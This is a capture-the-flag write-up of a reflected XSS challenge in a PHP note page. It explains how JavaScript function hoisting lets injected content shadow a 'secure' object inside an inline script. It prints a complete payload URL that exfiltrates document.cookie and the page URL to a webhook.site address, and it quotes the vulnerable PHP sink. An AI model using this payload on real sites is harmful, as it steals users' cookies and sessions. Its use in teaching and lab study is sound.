Tob
Summary
We’ll craft a note URL that makes the page execute JavaScript inside an inline <script> where a function named secure is referenced. Because JavaScript function declarations are hoisted, we can redefine secure inside the same script block and slip a callable .replace(…callback…) that runs our code. The admin bot attaches a readable flag cookie to the app’s origin before visiting our URL, so document.cookie contains the prize.
Start
On the main app. It’s a PHP page that takes title, content, and category from the query string, displays them, and (when content is present) renders a <script> that invokes secure.validate(...) with our content value. That’s the sink we’ll leverage.
<?php if ($content): ?>
<script>
secure.validate('remove', '<?php echo $content; ?>');
</script>
<?php endif; ?>This line means our content is interpolated inside a running script on the page that also references a function named secure.
Before that, the app replaces only literal </> in parameters, and then echoes them in various places. but there's a slight problem here in secure.validate script
What the engine does at that line
Look up
secure(the “base” of the call).If
secureis undefined, reading.validatethrows immediately: TypeError: Cannot read properties of undefined (reading 'validate').When that happens, arguments are not evaluated, so nothing inside our argument runs.
Read
secure.validate.If
secureexists (object or function), this property access is safe, even if it yieldsundefined.
Evaluate the arguments (left → right).
Only now does the engine compute our argument; if our argument is something like
'<payload>'.replace(/^/, fn), the callback executes here and can exfiltrate.
Invoke the callee.
If
secure.validateisn’t callable, a TypeError occurs after argument evaluation, so any side effects from our argument have already happened.
So that means: to get our argument to run at all, we must ensure secure exists at this point in the script. In the next section.
Hoisting
before going into the challenge there's on crucial technique you should be familiar with, and that is hoisting
What is hoisting
Before running a script, JavaScript scans the current scope and lifts (hoists) all function declarations and var declarations to the top of that scope. Function declarations become available by name throughout the scope, even if their text appears later in the source.
Why it matters here:
The app’s script block calls secure.validate('remove', '<OUR_CONTENT>'). If we can smuggle our own function declaration named secure (e.g., function secure(){}) into that same script block, the engine “pins” our secure at the top. Later references to secure (including that call site) resolve to our stub. The original developer’s “real” secure (if any) gets shadowed.
In short: by embedding a function declaration inside the inline script scope, we can rebind what the code thinks secure is, without needing to close the <script> tag or create raw <script> blocks.
For instance, consider the following typical hoisting scenario:
console.log(foo); // Outputs: undefined
var foo = 'bar'; // name was hoisted; value set laterIn this example, the variable foo is declared after it is referenced, but JavaScript doesn't throw an error because the declaration is hoisted to the top of the scope.
Building the payload
We start from the exact sink:
secure.validate('remove', '<USER_CONTENT>');we need to
Stay inside JavaScript (no need for
<script>tags).Execute a function we control (via a legitimate API like
.replace(...)).Redefine
securewith a hoisted declaration so any latersecure.*calls are benign.Exfiltrate via a side effect that doesn’t require DOM access (e.g.,
new Image().src = "...";).
The payload
http://proxy/index.php?title=as&content='.replace(/%5E/,function()%7Breturn(new%20Image().src=%60https://webhook.site/e13dd6e8-7e6a-45a8-a5ef-c41e67405918/?c=$%7BencodeURIComponent(document.cookie)%7D&u=$%7BencodeURIComponent(location.href)%7D%60,'')%7D)%20)%20;%20function%20secure()%7B%7D%20//&category=generalWhy .replace(/^/, fn)?
.replace(/^/, fn)?Always executes once on any string (regex
^matches the start).Keeps us inside JS;
The callback is a safe execution gadget that linters rarely strip.
runtime
The bot navigates to your URL; it already set a cookie
flag=…withhttpOnly:falseon this origin.The inline
<script>runs. When evaluating the argument that contains your string:Your string’s
.replace(/^/, fn)fires the callback.The callback sends a GET to your webhook with
document.cookieandlocation.href, then returns''.
The expression closes cleanly; no syntax errors are thrown.
Your
function secure(){}is parsed as a declaration in this same<script>scope, so it is hoisted and shadows/neutralizes any in-block use ofsecure.Your webhook receives the flag in
c=...

Last updated
Was this helpful?